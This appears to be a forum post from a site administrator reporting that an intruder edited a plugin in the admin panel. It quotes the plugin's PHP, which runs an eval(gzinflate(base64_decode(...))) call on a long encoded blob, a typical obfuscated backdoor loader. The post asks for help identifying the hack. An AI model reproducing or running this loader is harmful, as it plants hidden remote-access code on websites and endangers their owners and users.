i found that the hacker got into the admincp and edited a plugin that has this code in it
Code:
if (strpos($_SERVER['PHP_SELF'],'cronadmin.php')) {
eval(gzinflate(base64_decode('7X37d9s20ujP6Tn5HxCvt5K3tl6O28aJ3dryS45fsWQ7dpLjQ5GUxJgPlaQsK3v6/e13Bi+CT1FJ09373evdMiI4mBkMBoMBMADq9Z6pORdd0h2Ztv38h3p9d0Yu7IlDfiRv/dm4Z719/oPp+55/75tjzw8td1htrLx+/sM/9JFh+dVKBV/q9a7nmKSvBZZOHjW/Ejz/wRqQ6ovfl+8P93sfKmMtHFU+rZB/P/+BwN8yZCVbpG2bmrsHWIZmqE+N6gri+pOYdmDmQcbxIfjzH5Z9zwtTcN39y+v9yw+VvfP21en+We/+8vy8x/IsG56jWS7AR2BHvd7F/dF5F0AQItB9axzGILrty85F7/5s53SfwQwmtn0/8e0Y1OX+u6v9bu/+6rKjYmoBEIjHdDXHrPI0ykpg+o8mvMVJ0X/vd/b2LhmSSZCCudw/Pe/tKzDTkac5FsAMJq4eWp57bz5ZQRhUl8ZeYD3dg5DH04llLK2Q30g8qSpfTXxbWSGbxHwy9eoSQ7q0sjABDv2hgiWufMpEaFiB1rdNA1BaroX5qxWedi9oBFzBLkwQdF/TH4juua6ph4RXUX9GTjx/D2H2Xd0zAB1ULcr655dk4PkI/2i6lunqJtDs62PAdB94E183gfBSZ7b/aLw/m520jsd969X07v1x0NlpvIU0u7NvX5x/Hvf6rTP/7v27XzC9M9sZdg52Z9r725edtvdH5m8Kt3t89XBw3tkf7b5rhAdX9unwqnHQ7jUvdy8bV8N3rVeTvnP92Wjvtm9vzvzOwZl3d/MUdNqAX/zH8Hzuty7tzuHxxvnD06P+8G6498773DkwgL+D2V135+fe4avZZbu5d3r47otuNc+v203d3HuYxnAt9t9Z2zodXt40R9rNlOHf3x1rR2eNu5uD8MQ5e+x3GQzy0ofvd/u7vf7hwWdt3RjpzvWpdrPRNPe8R+3wVXjXfTXVnVeu7hyEkO4et3eZnA8vP5+4uwErZyO86DUiuewfj25bwfCdAzhbl4/99c7wqjWy+4fToeGeDk+7L6cok84+k0m/dTvsXh/v9qzdzrurs5PL6+MeyHT33cOrq3dXxkFnr/HqpNtgskN6zesvtzeGfW7tPtzONqb99m6/e/jqi3HQGN40dx9199Lg9Q3lPDuAsgzvDk8nOtA/7XXWTz7vTE7bL586e52n08/7f40c9vZnZ7OXU4q7uzMDOk//GdkEf7zv7nbv3kM9H92N+44+pLLZ3xj1b64o3M1sbHT24buzYd+uXyLM5MR6GZdNhKunHx6s9x17cjfb7WmH10Gf6thZ/62tlOvw+qFz
the plugin has a lot more code that i cant post in here. is this plugin the hack they keep getting in from? I deleted this a week ago. how is it back?